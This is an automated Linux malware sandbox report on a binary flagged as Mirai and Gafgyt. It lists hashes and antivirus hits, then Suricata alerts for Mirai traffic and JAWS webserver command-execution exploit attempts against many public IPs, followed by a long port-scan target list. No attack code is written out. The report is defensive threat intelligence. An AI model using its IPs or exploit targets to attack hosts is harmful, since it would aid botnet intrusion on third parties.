Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Overview

General Information

Sample name:	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf
Analysis ID:	1581162
MD5:	f0c7c86c606f6bd338822c52a1ce0c9b
SHA1:	dcc63d5f25cdf7816fd9e703037b30dbbafb3874
SHA256:	fcd4c4dfdce2bf614cc6b7dcb1641aa928d5c0f6107601ca06ef1372348acaa2
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	ReversingLabs: Detection: 65%
Source: db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Virustotal: Detection: 65%			Perma Link

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40992 -> 117.231.76.186:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39362 -> 5.235.55.252:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33560 -> 186.114.118.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53430 -> 161.158.140.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33560 -> 186.114.118.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33584 -> 182.18.228.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33584 -> 182.18.228.181:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:32946 -> 77.176.32.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49046 -> 179.241.61.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:32946 -> 77.176.32.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56166 -> 88.145.244.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56166 -> 88.145.244.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39312 -> 70.82.20.134:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33460 -> 173.106.44.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53430 -> 161.158.140.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49046 -> 179.241.61.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52078 -> 148.82.166.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45926 -> 82.115.250.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37312 -> 181.200.188.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:39312 -> 70.82.20.134:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45926 -> 82.115.250.2:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53518 -> 196.230.37.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35798 -> 142.1.148.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36740 -> 174.218.44.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33460 -> 173.106.44.181:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36740 -> 174.218.44.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52078 -> 148.82.166.193:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49910 -> 41.111.251.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37312 -> 181.200.188.126:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58064 -> 105.2.7.24:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53518 -> 196.230.37.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58064 -> 105.2.7.24:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52902 -> 147.182.44.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49910 -> 41.111.251.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60184 -> 221.165.87.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52378 -> 92.201.76.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60184 -> 221.165.87.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52902 -> 147.182.44.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35798 -> 142.1.148.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42612 -> 60.76.189.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42612 -> 60.76.189.20:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47298 -> 181.2.197.228:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47298 -> 181.2.197.228:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48270 -> 1.91.158.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48270 -> 1.91.158.169:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52378 -> 92.201.76.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45850 -> 131.208.54.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45850 -> 131.208.54.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49468 -> 59.78.192.149:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49468 -> 59.78.192.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47956 -> 172.101.68.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47956 -> 172.101.68.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50858 -> 40.121.255.147:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50858 -> 40.121.255.147:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.99.201.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.65.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.48.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.20.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.71.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.188.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.116.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.68.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.238.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.127.163.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.60.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.25.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.122.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.45.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.107.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.204.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.41.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.154.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.156.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.161.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.162.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.227.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.105.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.187.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.20.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.153.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.170.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.128.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.117.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.130.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.140.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.208.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.56.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.172.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.66.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.0.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.72.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.125.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.12.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.107.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.91.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.252.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.221.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.214.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.27.22.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.3.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.191.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.133.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.106.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.64.9.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.240.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.154.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.161.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.47.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.159.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.62.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.165.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.2.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.58.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.120.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.46.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.76.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.2.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.254.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.44.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.106.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.43.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.53.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.174.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.72.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.214.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.211.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.90.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.2.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.103.96.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.12.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.119.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.47.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.224.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.200.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.173.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.148.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.106.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.46.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.47.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.233.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.62.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.49.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.131.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.254.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.149.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.19.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.196.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.64.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.148.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.212.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.72.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.87.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.28.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.215.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.93.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.223.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.95.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.78.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.62.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.182.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.44.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.160.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.44.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.5.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.206.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.197.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.88.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.245.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.81.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.45.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.195.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.204.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.86.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.107.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.204.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.194.15.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.130.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.62.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.130.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.220.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.55.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.62.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.159.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.248.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.133.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.78.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.154.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.171.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.87.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.55.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.169.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.198.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.37.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.150.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.60.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.198.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.66.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.172.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.38.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.128.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.103.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.57.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.47.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.184.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.195.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.64.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.220.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.137.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.108.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.121.77.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.104.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.124.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.217.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.86.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.230.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.149.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.35.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.68.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.115.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.124.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.38.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.60.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.164.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.133.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.158.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.89.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.191.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.186.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.116.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.173.205.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.123.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.21.209.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.170.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.38.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.55.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.123.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.136.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.222.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.59.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.136.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.93.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.96.124.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.243.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.89.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.18.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.192.160.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.42.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.76.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.184.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.21.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.62.25.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.54.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.216.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.242.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.66.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.114.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.105.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.202.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.242.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.165.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.60.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.161.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.188.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.249.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.32.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.207.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.179.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.64.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.120.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.213.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.8.200.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.94.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.123.111.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.92.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.156.21 ports 1,2,3,5,7,37215
